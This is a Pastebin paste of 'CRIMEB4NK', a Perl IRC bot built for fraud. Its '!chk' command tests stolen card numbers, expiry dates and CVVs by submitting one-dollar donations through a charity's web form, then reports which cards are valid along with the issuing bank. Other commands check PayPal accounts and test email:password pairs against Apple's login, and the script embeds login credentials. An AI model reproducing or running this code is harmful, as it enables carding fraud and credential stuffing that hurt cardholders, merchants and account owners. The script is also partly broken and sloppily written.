Guest User

crimeb4nk

a guest
Mar 6th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.71 KB | None | 0 0
  1. #! "C:\Perl64\lib\perl.exe"
  2.  
  3.  
  4. #########Call to standalone modules directory###########
  5. BEGIN{push(@INC,'Modules');}
  6.  
  7. ################Modules Inclusion#######################
  8. use HTTP::Request;
  9. use LWP::Socket;
  10. use LWP::UserAgent;
  11. use LWP::Protocol::https;
  12. use HTTP::Cookies;
  13. use MIME::Base64;
  14. use Parallel::ForkManager;
  15. use MIME::Base64 ();
  16. use WWW::Mechanize;
  17. use WWW::Mechanize::FormFiller;
  18. use Net::FTP;
  19. use WWW::Scripter;
  20. use WWW::Selenium;
  21. $| = 1;
  22.  
  23.  
  24. #############Defines global variable/array#############
  25. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,
  26. $parallel_fork);
  27. my(@chans,@admins,@user_agents);
  28.  
  29. #######################################################
  30. my $ppcmd = '!pp';
  31. my $ipcmd = '!ip';
  32. my $chkcmd = '!chk';
  33. my $bankcmd = '!bank';
  34. my $seccmd = '!sec';
  35. my $statecmd = '!state';
  36. my $zipcmd = '!zip';
  37. ################Configurations Variable################
  38. my $outcri = "Mg==";
  39. $systemcri = MIME::Base64::decode($outcri);
  40. $timeout = $systemcri;
  41. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  42. $systemcri = MIME::Base64::decode($hostcri);
  43. $hosting = "irc.realunix.org";
  44. $port = 6667;
  45. my $nkpro = "[CRIMEB4NK]";
  46. $ident = "walled";
  47. $parallel_fork = 15;
  48. my @botcmd = ('1');
  49. @chans = ("#deep");
  50. my $proo = "[CRIMEB4NK]";
  51. $systempro = MIME::Base64::decode($proo);
  52. my $cheataer = "[CRIMEB4NK]";
  53. $sistempro = MIME::Base64::decode($cheataer);
  54. @s4l1ty = ($systempro,$sistempro);
  55. @admin = ('Pp');
  56. @user_agents = &get_user_agents();
  57.  
  58. ################Irc Socket Connection################
  59. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  60. $sysircuno = MIME::Base64::decode($startirc);
  61. $irc_socket = new LWP::Socket;
  62. $irc_socket->connect($hosting,$port);
  63. $irc_socket->write("USER ".$ident." 8 * :  09,01 [CRIMEB4NK] Checker \r\n");
  64. $irc_socket->write("NICK ".$nkpro."\r\n");
  65. $irc_socket->write("NICKSERV IDENTIFY 12345\r\n");
  66. $irc_socket->write("JOIN $chans[2]\r\n");
  67. $irc_socket->write("JOIN $chans[3]\r\n");
  68. $irc_socket->write("JOIN $chans[4]\r\n");
  69. $irc_socket->write("JOIN $chans[5]\r\n");
  70.  
  71. while($irc_socket)
  72. {
  73. my $bof;
  74. $irc_socket->read_until("\n", \$bof);
  75. if($bof =~ /PING :(.*)/)
  76. {
  77. $irc_socket->write("PONG :$1\r\n");
  78. }
  79.  
  80. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  81. {
  82. #PRIVMSG
  83. my %msg = &get_msg($bof);
  84. #############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##
  85. ############
  86. #############################CONTACT ME : s4l1ty@hotmail.com####################
  87. ############
  88. ################################################################################
  89. #####
  90. if($msg{'what'} =~ /\!ip (.*)/)
  91. {
  92. my ($iploca) = ($1);
  93. chop($iploca);
  94. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking...  15 15: 9: 15:  14)  0 ::: $ip
  95. loca :::");
  96. print "inizio mechanize\n";
  97. my $agent = WWW::Mechanize->new( autocheck => 1 );
  98. my $formfiller = WWW::Mechanize::FormFiller->new();
  99. $agent->env_proxy();
  100.  
  101. $agent->get('http://www.ip2location.com/'.$iploca.'');
  102. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  103. print $agent->content,"\n";
  104. my $ipwork=$agent->content;
  105. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  106. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Country  15 15: 9: 15:  14) $1");
  107. }
  108. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  109. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Region  15 15: 9: 15:  14) $1");
  110. }
  111. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  112. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 City  15 15: 9: 15:  14) $1");
  113. }
  114. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  115. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Time  15 15: 9: 15:  14) $1");
  116. }
  117. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  118. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Speed  15 15: 9: 15:  14) $1");
  119. }
  120. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  121. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 IPS  15 15: 9: 15:  14) $1");
  122. }
  123. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  124. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Domain  15 15: 9: 15:  14) $1");
  125. }
  126. }
  127. if($msg{'what'} =~ /\!zipcode\s(\d{5})/)
  128. {
  129. my ($zipcheck) = ($1);
  130. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  131. : $zipcheck ::: please wait...");
  132. print "inizio mechanize\n";
  133. my $agent = WWW::Mechanize->new( autocheck => 1 );
  134. my $formfiller = WWW::Mechanize::FormFiller->new();
  135. $agent->env_proxy();
  136.  
  137. $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  138. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  139. { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  140. $agent->submit();
  141. print $agent->content,"\n";
  142. my $zipse=$agent->content;
  143. if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  144. $luogo = $1;
  145. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  146. :  $luogo ::: ");
  147. }
  148. elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  149. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  150. :  $zipcheck Not found! ::: ");
  151. }
  152. }
  153. if($msg{'what'} =~ /^!zip\s(\d{5})/)
  154. {
  155. my ($zipcheck) = ($1);
  156. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 0,1 Checking... 08 $zipcheck
  157. ");
  158. #print "\n";
  159. my $agent = WWW::Mechanize->new( autocheck => 1 );
  160. my $formfiller = WWW::Mechanize::FormFiller->new();
  161. $agent->env_proxy();
  162. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=')
  163. ;
  164. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  165. { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  166. $agent->submit();
  167. #print $agent->content,"\n";
  168. my $zipse=$agent->content;
  169. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\
  170. /td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td al
  171. ign=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  172. my ($city) = ($1);
  173. my ($state) = ($2);
  174. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 3 $city | $state");
  175. }
  176. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city.
  177. /){
  178. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 8 $zipcheck 04 NOT FOUND!");
  179. }
  180. }
  181. ################################################################################
  182. ############
  183. if($msg{'what'} =~ /\!cmd/){
  184. &respond_to_privmsg(\%msg," 14,01-=  08 BOt Commands 1
  185. 4 =- 00");
  186. &respond_to_priv
  187. msg(\%msg," 07,01info:  04Suported  14,01[ 00,02  VISA  14,01] 01,01  14,01[ 0,4  Master  0,7 Card  14,01]
  188. 1,01  14,1[ 01,00  Disc 07O ver 01,00  14,01] 01,01  14,01[ 00,10  American Express  14,01]");
  189.  
  190. &respond_to_priv
  191. msg(\%msg," 07,01!chk 03,1....... 7,1:  4,1< 8,1ccnumber 4,1>  4,1< 8,1expdate 4,1>  4,1< 8,1cvv2 4,1>  15
  192. to check cvv2");
  193. &respond_to_priv
  194. msg(\%msg," 07,01!ip 03,1........ 7,1:  4,1< 8,1ip address 4,1>  15to get info about an IP");
  195.  
  196. &respond_to_priv
  197. msg(\%msg," 07,01!zip 03,1....... 7,1:  4,1< 8,1zip code 4,1>  15to get city and state by zip"
  198. );
  199.  
  200.  
  201. }
  202. #############################@@@@======something=====@@@@#######################
  203. ########
  204. if($msg{'what'} =~ /^!help/){
  205. &respond_to_privmsg(\%msg," 07,01Type  09!cmd 07 to ge
  206. t command list");
  207.  
  208. }
  209. ################################################################################
  210. ############
  211. if($msg{'what'} =~ /\!chk 1/){
  212. &respond_to_privmsg(\%msg," 9,1[ 4,1! 9,1]  15,1Informat
  213. ion  0,1:  14,1Checker  0,1is  9,1ON!  9,1[ 4,1! 9,1]");
  214.  
  215. }
  216. if($msg{'what'} =~ /\!chk status/){
  217. &respond_to_privmsg(\%msg," 9,1[ 4,1! 9,1]  15,1Informat
  218. ion  0,1:  14,1Checker  0,1is  9,1ON!  9,1[ 4,1! 9,1]");
  219.  
  220. }
  221. #############################@@@@======BASIC CHKBOT MACHINE=====@@@@############
  222. ############
  223. #############################CONTACT ME : s4l1ty@hotmail.com####################
  224. ############
  225. ################################################################################
  226. ############
  227. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b
  228. )/)
  229. {
  230. my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  231. my $var1 = substr($expmes,0,2);
  232. my $var2 = substr($expmes,2,4);
  233. my $varType = 0;
  234. print "\n";
  235. my $agent = WWW::Mechanize->new( autocheck => 1 );
  236. my $formfiller = WWW::Mechanize::FormFiller->new();
  237. $agent->env_proxy();
  238. $agent->get('https://jajf.org/donate/donate-form.cfm');
  239. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  240. $agent->form_number(1);
  241. { local $^W; $agent->current_form->value('firstname', 'mark'); };
  242. { local $^W; $agent->current_form->value('lastname', 'smith'); };
  243. { local $^W; $agent->current_form->value('emailaddress', 'movistarsrl@hotm
  244. ail.com'); };
  245. { local $^W; $agent->current_form->value('confirmemail', 'movistarsrl@hotm
  246. ail.com'); };
  247. { local $^W; $agent->current_form->value('addressline1', 'las heras 32');
  248. };
  249. { local $^W; $agent->current_form->value('addressline2', 'las heras 32');
  250. };
  251. { local $^W; $agent->current_form->value('city', 'NY'); };
  252. { local $^W; $agent->current_form->value('stateabbreviation', 'AL'); };
  253. { local $^W; $agent->current_form->value('zipCode', '05544'); };
  254. { local $^W; $agent->current_form->value('contactPhone', '1569841055'); };
  255. { local $^W; $agent->current_form->value('message', 'charity'); };
  256. { local $^W; $agent->current_form->value('donationAmount', '1'); };
  257. { local $^W; $agent->current_form->value('cardName', 'mark smith'); };
  258. { local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
  259. { local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.'')
  260. ; };
  261. { local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.
  262. ''); };
  263. { local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.'');
  264. };
  265. $agent->submit();
  266. print $agent->content,"\n";
  267. my $allo=$agent->content;
  268. open(FILE,">>chk13.html") or die "$!";
  269. print FILE "$allo\n";
  270. close FILE;
  271. my $allo=$agent->content;
  272. #~ if ($allo =~/THANK YOU/){
  273. if ($allo =~/The transaction has been declined because of an AVS mismatch. T
  274. he address provided does not match billing address of cardholder./){
  275. my $database = "banklist.txt
  276. ";
  277. open FILE,"$database" or die
  278. "Errore nell'apertura: $!";
  279. my @results=<FILE>;
  280. close FILE;
  281. my $bankinfo = $1;
  282. &respond_to_privmsg(\%msg,"�� 2�� $numerocart
  283. a $expmes $expanio $verifica  0,9VALID! CVV2: M  4( Aceptado 4)");
  284. my $nuova = substr($numerocarta,0,6);
  285. foreach my $url (@results){
  286. if($url =~ m/$nuova\|(.*)/){
  287. &respond_to_privmsg(\%msg,"�� 2�� [ 6Banco  ] 2$nuova
  288.  7$1");
  289. print "card $variable!";
  290. }
  291. }
  292.  
  293. }elsif ($allo =~/This transaction has been declined./){
  294. #~ }elsif ($allo =~/This transaction has been declined./){
  295. my $database = "banklist.txt
  296. ";
  297. open FILE,"$database" or die
  298. "Errore nell'apertura: $!";
  299. my @results=<FILE>;
  300. close FILE;
  301. my $bankinfo = $1;
  302. &respond_to_privmsg(\%msg,"�� 2�� $numerocarta
  303. $expmes $expanio $verifica  4DECLINED CVV2: M  4( Rechazado 4)");
  304. my $nuova = substr($numerocarta,0,6);
  305. foreach my $url (@results){
  306. if($url =~ m/$nuova\|(.*)/){
  307. my $bankinfo = $1;
  308. &respond_to_privmsg(\%msg,"�� 2�� [ 6Banco  ] 2$nuova
  309.  7$1");
  310. print "card $variable!";
  311. }
  312. }
  313. }elsif ($allo =~/The credit card number is invalid./){
  314. &respond_to_privmsg(\%msg,"�� 4�� [Result] $numerocarta $expmes $expanio $verifica  4INVAL
  315. ID! CVV2: M  4( INVALID 4)");
  316. }elsif ($allo =~/The card code is invalid./){
  317. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  9
  318. CARD ,  4 ERROR CVV...!  9By TheClanz!");
  319. }elsif ($allo =~/The credit card has expired./){
  320. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  4 $expmes$expanio  14$verifica) 15
  321. The credit card has expired.  9By TheClanz!");
  322. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  323. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$expmes$expanio  14) 15 Not is Valid.  9By TheCla
  324. nz!");
  325. }elsif ($allo =~//){
  326. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  14) 15 A duplicate transaction ha
  327. s been submitted.  9By TheClanz!");
  328. }elsif ($allo =~/A duplicate transaction has been submitted./){
  329. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  4F
  330. UCK YOU NO RECHECK ...");
  331. }elsif ($allo =~/The credit card number entered is not valid./){
  332. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  14) 15 Credit Card is  4INVALID  9By
  333. TheClanz!");
  334. }elsif ($allo =~/This transaction has been declined./){
  335. &respond_to_privmsg(\%msg,"�� 4�� [RESULT] $numerocarta $expmes $expanio $verifica  4DECLI
  336. NED!");
  337. }elsif ($allo =~/Thanks to your important gift/){
  338. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  9V
  339. ALID SUUU! NO AVS MISMATCH!");
  340. }
  341. }
  342.  
  343. ################################################################################
  344. #####
  345. #############################@@@@======Logins Checkers=====@@@@#################
  346. ############
  347. ################################################################################
  348. ########
  349. ################################################################################
  350. ########
  351. if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/)
  352. {
  353. my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);
  354. chop($emailchk);
  355. &respond_to_privmsg(\%msg,"!pp $emailchk@$domaincheck");
  356. }
  357. if($msg{'what'} =~ /\!pp (.*)/)
  358. {
  359. my ($ppchek) = ($1);
  360. chop($ppchek);
  361. &respond_to_privmsg(\%msg," 15[ 7CHECKiNGPAYPAL 15] CHECKiNG... -$ppchek-
  362. ");
  363. print "inizio mechanize\n";
  364. my $agent = WWW::Mechanize->new( autocheck => 1 );
  365. my $formfiller = WWW::Mechanize::FormFiller->new();
  366. $agent->env_proxy();
  367. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  368. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  369. $agent->form_number(3);
  370. { local $^W; $agent->current_form->value('login_email', 'pere1938@yahoo.com');
  371. };
  372. { local $^W; $agent->current_form->value('login_password', '12s34oxl'); };
  373. $agent->submit();
  374. $agent->follow_link('n' => 7);
  375. print $agent->content,"\n";
  376. my $internal=$agent->content;
  377. &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
  378. if ($internal =~/is NOT PayPal Verified/){
  379. &respond_to_privmsg(\%msg,"PaypaL - is -  04UnVerified ");
  380. }
  381. if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
  382. &respond_to_privmsg(\%msg,"Checking $1 - ");
  383. }
  384. }
  385. ################################################################################
  386. ########
  387. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  388. my ($email,$pass) = ($1,$2);
  389. chop($email,$pass);
  390. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 15,1 Checking  08,1
  391. $email:$pass");
  392. my $agent = WWW::Mechanize->new( autocheck => 1 );
  393. my $formfiller = WWW::Mechanize::FormFiller->new();
  394. $agent->env_proxy();
  395. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?a
  396. ppIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/L
  397. ogin.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252FGetAgree
  398. ments.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreemen
  399. ts.do&language=IT-IT");
  400. $agent->form_number(2);
  401. $agent->current_form->value('theAccountName', ''.$email.'');
  402. $agent->current_form->value('theAccountPW', ''.$pass.'');
  403. $agent->submit();
  404. $agent->reload();
  405. print $agent->content,"\n";
  406. my $internal = $agent->content;
  407. my $allo=$agent->content;
  408. open(FILE3,">>Apple.html") or die "$!";
  409. print FILE3 "$allo\n";
  410. close FILE3;
  411. sleep(2);
  412. if($internal =~/Did you forget/) {
  413. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  4 Wrong Login ");
  414. }
  415. elsif($internal =~/blocked/) {
  416. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  4,1(Account Locked
  417. )");
  418. } elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  419. my $name = $1;
  420. my $surname = $2;
  421. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  9,1Successfully Log
  422. ged in");
  423. }
  424. }
  425.  
  426.  
  427. #############################@@@@======INTERFACE COMMANDS=====@@@@##############
  428. #################
  429. if($msg{'what'} =~ /\!hop (.*)/)
  430. {
  431. if(&ctrl_admin(\%msg) == 0){
  432. $irc_socket->write("PART ".$1." ".$2."\n");
  433. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  434. }
  435. }
  436. ################################################################################
  437. ######
  438. if($msg{'what'} =~ /\!join (.*)/)
  439. {
  440. my $joinz= $1;
  441. if(&ctrl_admin(\%msg) == 0){
  442. $irc_socket->write("JOIN ".$joinz."\r\n");
  443. }
  444. }
  445. if($msg{'what'} =~ /\!hop (.*)/)
  446. {
  447. if(&ctrl_admin(\%msg) == 0){
  448. $irc_socket->write("PART ".$1." ".$2."\n");
  449. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  450. }
  451. }
  452. ################################################################################
  453. ######
  454. ################################################################################
  455. ######
  456. if($msg{'what'} =~ /\!part (.*)/)
  457. {
  458. my $parted = $1;
  459. if(&ctrl_admin(\%msg) == 0){
  460. $irc_socket->write("part ".$parted."\r\n");
  461. }
  462. }
  463. ################################################################################
  464. ####
  465. ################################################################################
  466. #####
  467. if($msg{'what'} =~ /\!out(.*)/)
  468. {
  469. my $qmsg = $1;
  470. if(&ctrl_admin(\%msg) == 0){
  471. $irc_socket->write("quit ".$qmsg."\r\n");
  472.  
  473. }
  474. }
  475.  
  476. ################################################################################
  477. ######
  478. ################################################################################
  479. ######
  480. if($msg{'what'} =~ /\!rax (.*)/)
  481. {
  482. my $raw = $1;
  483. if(&ctrl_admin(\%msg) == 0){
  484. &respond_to_privmsg(\%msg," 15,1[ 4RAW 15] 12 SENDING IR
  485. C RAW REQUESTED");
  486. $irc_socket->write($raw."\r\n");
  487. }
  488. }
  489. ################################################################################
  490. #####
  491. sub ctrl_admin()
  492. {
  493. my $data = $_[0];
  494. foreach my $admin ( mindfreak )
  495. {
  496. if($admin eq $data->{'from'})
  497. {
  498. return(0);
  499. }
  500. }
  501. &respond_to_privmsg($data," 15[ 4BLOCK 15] 1 YOU ARE NOT ADMIN");
  502. return(-1);
  503. }
  504. ################################################################################
  505. #####
  506. sub ctrl_dumps()
  507. {
  508. my $data = $_[0];
  509. foreach my $admin ( mindfreak )
  510. {
  511. if($admin eq $data->{'from'})
  512. {
  513. return(0);
  514. }
  515. }
  516. &respond_to_privmsg($data," 15,01[ 4BLOCK 15,01] 0 You are  04 NOT 0,01 Allowed to use
  517. this function.!");
  518. return(-1);
  519. }
  520. ################################################################################
  521. #####
  522. sub respond_to_privmsg()
  523. {
  524. my ($data,$m) = ($_[0],$_[1]);
  525. if($data->{'to'} =~ /#/)
  526. {
  527. &privmsg($data->{'to'},$m);
  528. }
  529. return(0);
  530. }
  531. ################################################################################
  532. #####
  533. sub privmsg()
  534. {
  535. my($nick,$send) = @_;
  536. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  537. }
  538. ################################################################################
  539. #####
  540. sub get_msg()
  541. {
  542. my $line = $_[0];
  543. my %data;
  544. if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
  545. {
  546. $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
  547. $data{'from'} = $1;
  548. $data{'to'} = $3;
  549. $data{'what'} = $4;
  550. }
  551. return(%data);
  552. }
  553. ################################################################################
  554. #####
  555.  
  556. sub http_request()
  557. {
  558. my($site,$request,$ua,$resp,$cnt);
  559. $site = $_[0];
  560. $site =~ s/[\r\n]//g;
  561. $request = HTTP::Request->new(GET => $site);
  562. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_
  563. agents))]);
  564. $ua->timeout($timeout);
  565. $resp = $ua->request($request);
  566. $cnt = $resp->content();
  567. return($cnt);
  568. }
  569. ################################################################################
  570. #####
  571. sub get_user_agents()
  572. {
  573. my @us_ag = (
  574. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  575. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321
  576. Firefox/2.0a1",
  577. "Opera/8.5 (X11; Linux i686; U; cs)",
  578. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  579. );
  580. return(@us_ag);
  581. }
  582. ################################################################################
  583. #####
  584. sub get_all_host()
  585. {
  586. my $site = $_[0];
  587. my @dirs = ();
  588. my @ret = ();
  589. my $tmp = "";
  590. $site =~ s/http:\/\///g;
  591. $site =~ s/[\r\n]//g;
  592. $site =~ s/\/\///g;
  593. if($site !~ /\/$/)
  594. {
  595. $site .= "/";
  596. }
  597.  
  598. @dirs = split(/\//,$site);
  599. $tmp = $dirs[0] . "/";
  600. push(@ret,$tmp);
  601.  
  602. for($i = 1; $i < scalar(@dirs); $i++)
  603. {
  604. $tmp .= $dirs[$i] . "/";
  605. push(@ret,$tmp);
  606. }
  607.  
  608. return(@ret);
  609. }
  610. ################################################################################
  611. #####
  612. sub urlencode()
  613. {
  614. my $str = $_[0];
  615. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  616. return $str;
  617. }
  618. ################################################################################
  619. #####
  620. sub unique()
  621. {
  622. my @unici = ();
  623. my %visti = ();
  624. foreach my $elemento (@_) {
  625. $elemento =~ s/\/+/\//g;
  626. next if $visti{$elemento}++;
  627. push @unici, $elemento;
  628. }
  629. return @unici;
  630. }
  631. ################################################################################
  632. #####
  633. sub changecmd()
  634. {
  635. my $n = $_[0];
  636. push(@botcmd,$n);
  637. }
  638. ################################################################################
  639. #####
  640. sub get_content() {
  641. my $url = $_[0];
  642. my $ua = LWP::UserAgent->new(agent => $uagent);
  643. $ua->timeout(10);
  644. my $req = HTTP::Request->new(GET => $url);
  645. my $res = $ua->request($req);
  646. return $res->content;
  647. }
  648. ################################################################################
  649. #####
  650. sub read_all_file_array()
  651. {
  652. my $file = $_[0];
  653. my @ret = ();
  654.  
  655. open(FILE,'<',$file);
  656. while($a = <FILE>)
  657. {
  658. $a =~ s/[\r\n]//g;
  659. push(@ret,$a);
  660. }
  661. close(FILE);
  662.  
  663. return(@ret);
  664. }
  665. ################################################################################
  666. #####
  667. sub write_to_file_array()
  668. {
  669. my ($file,$data,$scal) = @_;
  670. for($i = 0; $i < $scal; $i++)
  671. {
  672. &AddLog($file,$data->[$i]);
  673. }
  674. }
  675. }
  676. }
Add Comment
Please, Sign In to add comment